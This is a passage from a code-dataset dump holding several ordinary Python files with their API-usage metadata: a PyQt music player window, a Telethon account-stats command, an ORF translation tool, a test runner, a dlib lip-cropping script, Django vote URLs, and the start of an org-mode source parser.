isNew = True\n self.playList = playlistWidget(self.player)\n self.playList.trackChanged.connect(self.player.setPlaylistTrack)\n self.threadStreamObserver.titleChanged.connect(self.onPlayerMediaChangedStreamObserver)\n\n self.playList.showMediaList()\n \n if isNew or showOnlyIfNew==False: self.playList.show()\n\n\n def onPlayerMediaChangedVLC(self,event):\n print(\"onPlayerMediaChangedVLC\")\n if self.playList is not None:\n self.playList.setCurrentTrack()\n\n\n def onPlayerMediaChangedStreamObserver(self,title):\n print(\"onPlayerMediaChangedStreamObserver=\"+title)\n if self.playList is not None:\n self.playList.setCurrentTrack(title)\n\n\n\n def onPlayAlbum(self,item):\n print(\"onPlayAlbum \"+self.currentAlbum.getAlbumDir())\n self.playAlbum(self.currentAlbum)\n\n\n def onAddAlbum(self,item):\n print(\"onAddAlbum \"+self.currentAlbum.getAlbumDir())\n self.addAlbum(self.currentAlbum)\n\n\n def onPauseAlbum(self):\n self.player.pauseMediaList()\n\n def onOpenDir(self):\n open_file(self.currentAlbum.getAlbumDir())\n\n\n '''\n Miscellanious UI functions \n '''\n\n def setTitleLabel(self,artName=\"\",albTitle=\"\",year=\"\"):\n\n if self.currentArtist is not None and artName==\"\":\n artName = self.currentArtist.name\n if self.currentAlbum is not None and albTitle==\"\": \n albTitle = self.currentAlbum.title\n year = self.currentAlbum.year\n\n sAlbum = albTitle\n sYear =str(year)\n if(not sYear in [\"0\",\"\"]): sAlbum += \" (\"+sYear+\")\"\n sTitle = '''<html><head/><body>\n <p><span style=\\\" font-size:14pt; font-weight:600;\\\">{Artist}</span></p>\n <p><span style=\\\" font-style:italic;\\\">{Album}</span></p>\n </body></html>'''\n sTitle = sTitle.format(Artist=artName,Album=sAlbum)\n \n self.ui.labelArtist.setText(sTitle)\n\n\n\n def showCover(self,path):\n \n if path != \"\":\n print(\"MyCover=\"+path)\n self.coverPixmap = QtGui.QPixmap(path)\n scaledCover = self.coverPixmap.scaled(self.ui.cover.size(),\n QtCore.Qt.KeepAspectRatio,\n QtCore.Qt.SmoothTransformation)\n self.ui.cover.setPixmap(scaledCover)\n self.ui.cover.show()\n else:\n self.ui.cover.setPixmap(self.defaultPixmap)\n \n\n def resizeEvent(self,event):\n self.resizeCover()\n\n\n def resizeCover(self):\n if (not self.coverPixmap.isNull()):\n scaledCover = self.coverPixmap.scaled(self.ui.cover.size(),\n QtCore.Qt.KeepAspectRatio,\n QtCore.Qt.SmoothTransformation)\n self.ui.cover.setPixmap(scaledCover)\n \n\n def closeEvent(self, event):\n self.saveSettings()\n\n def saveSettings(self):\n self.settings.setValue('volume', self.player.getVolume())\n\n def loadSettings(self):\n if self.settings.contains('volume'):\n self.volume = self.settings.value('volume', type=int)\n else:\n self.volume = 100\n\n def changeLanguage(self,locale):\n # translator for built-in qt strings\n self.translator.unInstallTranslators()\n self.translator.installTranslators(locale)\n self.ui.retranslateUi(self)\n if self.playList is not None: self.playList.retranslateUi()\n \n self.update()\n self.setWindowTitle(\"PyZik\")\n self.setTitleLabel()\n\n\n\n \n\nif __name__ == '__main__':\n from pyzik import *\n main()\n", "sub_path": "mainWindowLoader.py", "file_name": "mainWindowLoader.py", "file_ext": "py", "file_size_in_byte": 19883, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sys.platform", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.startfile", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 24, "usage_type": "attribute"}, {"api_name": "subprocess.call", "line_number": 25, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 29, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 29, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMainWindow.__init__", "line_number": 32, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 32, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 32, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSettings", "line_number": 39, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 39, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 45, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 45, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 46, "usage_type": "name"}, {"api_name": "mainWindow.Ui_MainWindow", "line_number": 48, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 70, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 71, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 72, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QShortcut", "line_number": 84, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 84, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QKeySequence", "line_number": 84, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 84, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHeaderView", "line_number": 183, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 183, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHeaderView", "line_number": 184, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 184, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHeaderView", "line_number": 192, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 192, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHeaderView", "line_number": 193, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 193, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMenu", "line_number": 228, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 228, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QCursor.pos", "line_number": 231, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QCursor", "line_number": 231, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 231, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 239, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 239, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 241, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 241, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QItemSelectionModel", "line_number": 278, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 278, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QAbstractItemView", "line_number": 280, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 280, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QItemSelectionModel", "line_number": 292, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 292, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 303, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 303, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 358, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 358, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 359, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 359, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 362, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 362, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 363, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 363, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 366, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 366, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 367, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 367, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QAbstractItemView", "line_number": 382, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 382, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 410, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 410, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 411, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 411, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 418, "usage_type": "call"}, {"api_name": "os.path", "line_number": 418, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 513, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 513, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 515, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 515, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 516, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 516, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 530, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 530, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 531, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 531, "usage_type": "name"}]} {"seq_id": "119795547", "text": "import time\n\nfrom telethon.events import NewMessage\nfrom telethon.tl.custom import Dialog\nfrom telethon.tl.types import Channel, User, Chat\n\nfrom userbot.utils import inline_mention\nfrom ..help import add_help_item\nfrom userbot.events import register\n\n\n@register(outgoing=True, pattern=f'^.stats')\nasync def stats(event: NewMessage.Event) -> None: # pylint: disable = R0912, R0914, R0915\n \"\"\"Command to get stats about the account\"\"\"\n waiting_message = await event.edit('Collecting stats. This might take a while.')\n start_time = time.time()\n private_chats = 0\n bots = 0\n groups = 0\n broadcast_channels = 0\n admin_in_groups = 0\n creator_in_groups = 0\n admin_in_broadcast_channels = 0\n creator_in_channels = 0\n unread_mentions = 0\n unread = 0\n largest_group_member_count = 0\n largest_group_with_admin = 0\n dialog: Dialog\n async for dialog in event.client.iter_dialogs():\n entity = dialog.entity\n\n if isinstance(entity, Channel):\n # participants_count = (await event.get_participants(dialog, limit=0)).total\n if entity.broadcast:\n broadcast_channels += 1\n if entity.creator or entity.admin_rights:\n admin_in_broadcast_channels += 1\n if entity.creator:\n creator_in_channels += 1\n\n elif entity.megagroup:\n groups += 1\n # if participants_count > largest_group_member_count:\n # largest_group_member_count = participants_count\n if entity.creator or entity.admin_rights:\n # if participants_count > largest_group_with_admin:\n # largest_group_with_admin = participants_count\n admin_in_groups += 1\n if entity.creator:\n creator_in_groups += 1\n\n elif isinstance(entity, User):\n private_chats += 1\n if entity.bot:\n bots += 1\n\n elif isinstance(entity, Chat):\n groups += 1\n if entity.creator or entity.admin_rights:\n admin_in_groups += 1\n if entity.creator:\n creator_in_groups += 1\n\n unread_mentions += dialog.unread_mentions_count\n unread += dialog.unread_count\n stop_time = time.time() - start_time\n\n full_name = inline_mention(await event.client.get_me())\n response = f'**Stats for {full_name}** \\n'\n response += f' **Private Chats:** {private_chats} \\n'\n response += f' **Users:** {private_chats - bots} \\n'\n response += f' **Bots:** {bots} \\n'\n response += f' **Groups:** {groups} \\n'\n response += f' **Channels:** {broadcast_channels} \\n'\n response += f' **Admin in Groups:** {admin_in_groups} \\n'\n response += f' **Creator:** {creator_in_groups} \\n'\n response += f' **Admin Rights:** {admin_in_groups - creator_in_groups} \\n'\n response += f' **Admin in Channels:** {admin_in_broadcast_channels} \\n'\n response += f' **Creator:** {creator_in_channels} \\n'\n response += f' **Admin Rights:** {admin_in_broadcast_channels - creator_in_channels} \\n'\n response += f' **Unread:** {unread} \\n'\n response += f' **Unread Mentions:** {unread_mentions} \\n\\n'\n response += f'__Took:__ {stop_time:.02f}s \\n'\n\n await event.edit(response)\n\n\nadd_help_item(\n \".stats\",\n \"Me\",\n \"Get some basic Telegram stats about yourself.\",\n \"\"\"\n `.stats`\n \"\"\"\n)\n", "sub_path": "userbot/modules/me/stats.py", "file_name": "stats.py", "file_ext": "py", "file_size_in_byte": 3524, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "telethon.events.NewMessage.Event", "line_number": 13, "usage_type": "attribute"}, {"api_name": "telethon.events.NewMessage", "line_number": 13, "usage_type": "name"}, {"api_name": "time.time", "line_number": 16, "usage_type": "call"}, {"api_name": "telethon.tl.custom.Dialog", "line_number": 29, "usage_type": "name"}, {"api_name": "telethon.tl.types.Channel", "line_number": 33, "usage_type": "argument"}, {"api_name": "telethon.tl.types.User", "line_number": 53, "usage_type": "argument"}, {"api_name": "telethon.tl.types.Chat", "line_number": 58, "usage_type": "argument"}, {"api_name": "time.time", "line_number": 67, "usage_type": "call"}, {"api_name": "userbot.utils.inline_mention", "line_number": 69, "usage_type": "call"}, {"api_name": "userbot.events.register", "line_number": 12, "usage_type": "call"}, {"api_name": "help.add_help_item", "line_number": 89, "usage_type": "call"}]} {"seq_id": "110337303", "text": "#! /usr/bin/env python3\n\nimport sys\nimport re\n\ndef main():\n import argparse\n from find_orf import find_first_orf\n from translate import translate_sequence\n from find_orf import parse_sequence_from_path\n\n# Create a command-line parser object\n parser = argparse.ArgumentParser(\n formatter_class = argparse.ArgumentDefaultsHelpFormatter)\n\n# Tell the parser what command-line arguments this script can receive\n parser.add_argument('sequence',\n metavar = 'SEQUENCE',\n type = str,\n help = ('The sequence to search for an open-reading frame. '\n 'If the path flag (\\'-p\\'/\\'--path\\') is specified, '\n 'then this should be a path to a file containing the '\n 'sequence to be searched.'))\n parser.add_argument('-p', '--path',\n action = 'store_true',\n help = ('The sequence argument should be treated as a path to a '\n 'containing the sequence to be searched.'))\n parser.add_argument('-s', '--start-codons',\n type = str,\n nargs = '+', # one or more arguments\n default = ['AUG'],\n help = ('One or more possible start codons.'))\n parser.add_argument('-x', '--stop-codons',\n type = str,\n nargs = '+', # one or more arguments\n default = ['UAA', 'UAG', 'UGA'],\n help = ('One or more possible stop codons.'))\n\n# Parse the command-line arguments into a 'dict'-like container\n args = parser.parse_args()\n\n# Check to see if the path option was set to True by the caller. If so, parse\n# the sequence from the path\n if args.path:\n sequence = parse_sequence_from_path(args.sequence)\n else:\n sequence = args.sequence\n orf = find_first_orf(sequence = sequence,\n start_codons = args.start_codons,\n stop_codons = args.stop_codons)\n\n translation = translate_sequence(orf)\n\n sys.stdout.write('{}\\n'.format(translation))\n\nif __name__ == '__main__':\n main()\n\n", "sub_path": "translate_orf.py", "file_name": "translate_orf.py", "file_ext": "py", "file_size_in_byte": 2041, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "argparse.ArgumentDefaultsHelpFormatter", "line_number": 14, "usage_type": "attribute"}, {"api_name": "find_orf.parse_sequence_from_path", "line_number": 45, "usage_type": "call"}, {"api_name": "find_orf.find_first_orf", "line_number": 48, "usage_type": "call"}, {"api_name": "translate.translate_sequence", "line_number": 52, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 54, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 54, "usage_type": "attribute"}]} {"seq_id": "52069332", "text": "#!/usr/bin/python3\n\nimport subprocess\nimport sys\nimport os\nimport json\n\ndef run_tests(module, to_test, tests_root_dir, test_data, dir_names, default_timeout):\n tests_root = tests_root_dir+'/'+test_data['rootDir']\n test_no = 1\n tests_passed = 0\n while True:\n if not os.path.isfile(tests_root+'/'+dir_names['inputDir']+'/'+module+'/test_'+str(test_no)+'.in'):\n break\n \n if len(test_data['timeouts']) >= test_no:\n test_timeout = float(test_data['timeouts'][test_no - 1])\n else:\n test_timeout = default_timeout\n \n process = subprocess.Popen(\n [sys.executable, to_test],\n shell = False,\n stdin = subprocess.PIPE,\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE,\n universal_newlines = True\n )\n\n with open(tests_root+'/'+dir_names['inputDir']+'/'+module+'/test_'+str(test_no)+'.in', encoding = 'utf8') as f:\n inpt = f.read()\n\n with open(tests_root+'/'+dir_names['outputDir']+'/'+module+'/test_'+str(test_no)+'.out', encoding = 'utf8') as f:\n out = f.read()\n\n try:\n stdout, stderr = process.communicate(inpt, timeout = test_timeout)\n except subprocess.TimeoutExpired:\n process.kill()\n stdout, stderr = process.communicate()\n stdout = stdout[:500]\n print('Test '+str(test_no)+' timeout!')\n\n print('Test '+str(test_no)+':', end=' ')\n if stdout.strip() == out.strip():\n tests_passed += 1\n print('OK')\n elif len(stderr) > 0:\n print(stderr)\n else:\n print('expected \"'+out.strip(),'\", found \"'+stdout.strip()+'\"')\n\n if not os.path.exists(tests_root+'/'+dir_names['resultsDir']+'/'+module):\n os.makedirs(tests_root+'/'+dir_names['resultsDir']+'/'+module)\n with open(tests_root+'/'+dir_names['resultsDir']+'/'+module+'/test_'+str(test_no)+'.res', 'w', encoding = 'utf8') as f:\n f.write(stdout)\n \n test_no += 1\n\n print('Tests passed: '+str(tests_passed)+'/'+str(test_no-1))\n\ndef main():\n\n config_file = os.path.dirname(os.path.realpath(__file__))+'/config.json'\n \n if not os.path.isfile(config_file):\n config_file = 'config.json'\n \n with open(config_file) as json_data:\n data = json.load(json_data)\n modules_to_test = data['modulesToTest']\n\n to_test_root_dir = data['toTestRootDir']\n if len(sys.argv) > 1:\n if os.path.isdir(sys.argv[1]):\n to_test_root_dir = sys.argv[1]\n \n for module_data in modules_to_test:\n module = module_data['moduleName']\n to_test = to_test_root_dir +'/'+module+'.py'\n if 'testsRootDir' not in data: \n tests_root_dir = os.path.dirname(os.path.realpath(__file__))\n else:\n tests_root_dir = data['testsRootDir']\n \n if os.path.isfile(to_test):\n print('Public tests:')\n run_tests(module_data['moduleName'], to_test, tests_root_dir, module_data['publicTests'], data[\"testDirNames\"], float(data['defaultTimeout']))\n else:\n print('File '+module+'.py missing.')\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n", "sub_path": "dn2/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 3354, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.isfile", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.executable", "line_number": 22, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 24, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 25, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "subprocess.TimeoutExpired", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 70, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 75, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}]} {"seq_id": "123797587", "text": "#coding: utf-8\nimport sys\nimport dlib\nimport cv2\nimport numpy as np\nimport os\n\ndef file_name(file_dir): \n L=[] \n for root, dirs, files in os.walk(file_dir): \n for file in files: \n if os.path.splitext(file)[1] == '.mpg': \n L.append(os.path.join(root, file)) \n return L \n\ndetector = dlib.get_frontal_face_detector() #获取人脸分类器\npredictor = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat')\ncnt = 0 #count videos\nwhile(1):\n videos_path = file_name(\"testvideo\")\n if cnt >= len(videos_path) :\n print (\"no more videos!\")\n break\n cap = cv2.VideoCapture(videos_path[cnt])\n cnt = cnt + 1\n pics_num = 0 #count frames\n########################################################To write lip images as video#######################################\n \n fps = cap.get(cv2.CAP_PROP_FPS) \n # size = (int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)),int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)))\n size = (100, 50)\n fourcc = cv2.VideoWriter_fourcc('M','J','P','G')\n video_saver = cv2.VideoWriter('test.avi' , fourcc, fps, size)\n \n # video_saver = cv2.VideoWriter('oto_other.mp4', cv2.cv2.CV_FOURCC('M', 'J', 'P', 'G'), fps, size)\n #still have some problem on this\n############################################################################################################################\n while(1):\n succ,img = cap.read()\n if img is None:\n break\n rects = detector(img, 0)\n #pics_num = 0\n for i in range(len(rects)):\n landmarks = np.matrix([[p.x, p.y] for p in predictor(img,rects[i]).parts()])\n top = 100000 \n bottle = 0 \n left = 10000 \n right = 0\n for idx, point in enumerate(landmarks):\n if idx > 48 :\n pos = (point[0,0] , point[0,1])\n if point[0,0] < left :\n left = point[0,0]\n if point[0,0] > right :\n right = point[0,0] \n if point[0,1] < top :\n top = point[0,1]\n if point[0,1] > bottle :\n bottle = point[0,1]\n # cv2.circle(img, pos, 1, color=(0, 255, 0)) # common to train model\n w_offset = (right-left)//4\n h_offset = (bottle-top)//2\n ####################################used by defuat#####################################################\n # cv2.rectangle(img,(left-w_offset,top-h_offset),(right+w_offset,bottle+h_offset),(0,0,255),3) # to suit train model\n # liproi = img[top-h_offset:bottle+h_offset,left-w_offset:right+w_offset]\n #######################to suit train model######################################\n liproi = img[int((top+bottle)/2-25):int((top+bottle)/2+25), int((left+right)/2-50) : int((left+right)/2+50) ] # (3, 50, 100)\n print(int((top+bottle)/2-25), int((top+bottle)/2+25), int((left+right)/2-50), int((left+right)/2+50))\n ################################################################################\n \n #print ((left-w_offset,top-h_offset),(right+w_offset,bottle+h_offset))\n \n video_saver.write(liproi) #write video\n # cv2.imwrite(\"pics/\"+str(cnt)+\"/\"+str(pics_num)+\".jpg\",liproi) \n # print (cnt , pics_num)\n pics_num = pics_num + 1\n # cv2.imshow(\"\", img)\n cv2.imshow(\"lip\",liproi)\n # cv2.waitKey(1)\n cv2.waitKey(int(1000/int(fps) ) )\n", "sub_path": "get_lips/get_lips.py", "file_name": "get_lips.py", "file_ext": "py", "file_size_in_byte": 3630, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.walk", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "dlib.get_frontal_face_detector", "line_number": 16, "usage_type": "call"}, {"api_name": "dlib.shape_predictor", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FPS", "line_number": 29, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 79, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 81, "usage_type": "call"}]} {"seq_id": "470360758", "text": "from django.conf.urls import url\nfrom video.view.votes import *\nfrom django.contrib.auth.decorators import login_required\n\n\nurlpatterns = [\n\turl(r'^user_like/(?P<uuid>[0-9a-f-]+)/(?P<pk>\\d+)/$',login_required(VideoUserLikeCreate.as_view())),\n url(r'^user_dislike/(?P<uuid>[0-9a-f-]+)/(?P<pk>\\d+)/$',login_required(VideoUserDislikeCreate.as_view())),\n url(r'^user_comment/(?P<comment_pk>\\d+)/(?P<pk>\\d+)/like/$',login_required(VideoCommentUserLikeCreate.as_view())),\n url(r'^user_comment/(?P<comment_pk>\\d+)/(?P<pk>\\d+)/dislike/$',login_required(VideoCommentUserDislikeCreate.as_view())),\n\n\turl(r'^community_like/(?P<uuid>[0-9a-f-]+)/(?P<pk>\\d+)/$',login_required(VideoCommunityLikeCreate.as_view())),\n url(r'^community_dislike/(?P<uuid>[0-9a-f-]+)/(?P<pk>\\d+)/$',login_required(VideoCommunityDislikeCreate.as_view())),\n url(r'^community_comment/(?P<comment_pk>\\d+)/(?P<pk>\\d+)/like/$',login_required(VideoCommentCommunityLikeCreate.as_view())),\n url(r'^community_comment/(?P<comment_pk>\\d+)/(?P<pk>\\d+)/dislike/$',login_required(VideoCommentCommunityDislikeCreate.as_view())),\n]\n", "sub_path": "video/url/votes.py", "file_name": "votes.py", "file_ext": "py", "file_size_in_byte": 1097, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 15, "usage_type": "call"}]} {"seq_id": "259285371", "text": "#!/usr/bin/env python\n\nimport os\nimport argparse\nimport re\nimport json\nimport logging\n\nORG_SOURCE_DIR = os.path.expanduser(\"~/org/database\")\nSOURCE_CODE_BLOCK_REGEX = (\n r\"#\\+NAME: *(?P<name>.*?) *\\n\"\n r\"#\\+begin_src *(?P<source_type>\\w*) *.*?\\n\"\n r\"(?P<source_code>.*?)\\n\"\n r\"#\\+end_src\"\n)\nTARGET_ORG_FILE_REGEX = r\"[a-zA-z_-]*\\.org\"\n\nSOURCE_TYPES = [\"source-code\", \"links\"]\n\nlogging.basicConfig(filename=\"/tmp/org-source-feed.log\", level=logging.DEBUG)\nclass EntryOfLinks(object):\n def __init__(self, source_type, remain_args):\n self.source_type = source_type\n self.remain_args = remain_args\n self.args = None\n\n def get_sources(self):\n useful_link_file = os.path.join(ORG_SOURCE_DIR, \"useful-links.md\")\n if not os.path.exists(useful_link_file):\n return []\n\n result = []\n with open(useful_link_file, \"r\") as f:\n for line in f.readlines():\n for matched_result in re.finditer(r\"\\[(?P<link_desc>.*?)\\]\\((?P<link>.*?)\\)\", line, re.M | re.I):\n logging.debug(\"Find a link link_desc=[{link_desc}], link=[{link}]\".format(\n link_desc=matched_result[\"link_desc\"],\n link=matched_result[\"link\"],\n ))\n result.append({\n \"source_file\": \"useful-links\",\n \"name\": matched_result[\"link_desc\"],\n \"type\": \"link\",\n \"code\": matched_result[\"link\"],\n })\n return result\n\n def run(self):\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--operation\",\n \"-o\",\n required=True,\n help=\"operation type\"\n )\n self.args = parser.parse_args(self.remain_args)\n logging.debug(\"EntryOfLinks get args: {}\".format(self.args))\n return EntryOfLinks.__dict__[self.args.operation.replace('-', '_')](self)\n\nclass EntryOfSourceCode(object):\n def __init__(self, source_type, remain_args):\n self.source_type = source_type\n self.remain_args = remain_args\n self.args = None\n\n def get_sources(self):\n result = []\n for file_name in filter(lambda s: re.match(TARGET_ORG_FILE_REGEX, s), os.listdir(ORG_SOURCE_DIR)):\n file_full_path = os.path.join(ORG_SOURCE_DIR, file_name)\n with open(file_full_path, \"r\") as f:\n content = f.read()\n for matched_result in re.finditer(SOURCE_CODE_BLOCK_REGEX, content, re.M | re.I | re.S | re.MULTILINE):\n logging.debug(\"Find a match {}\".format(matched_result[\"name\"]))\n result.append({\n \"source_file\": file_name,\n \"name\": matched_result[\"name\"],\n \"type\": matched_result[\"source_type\"],\n \"code\": 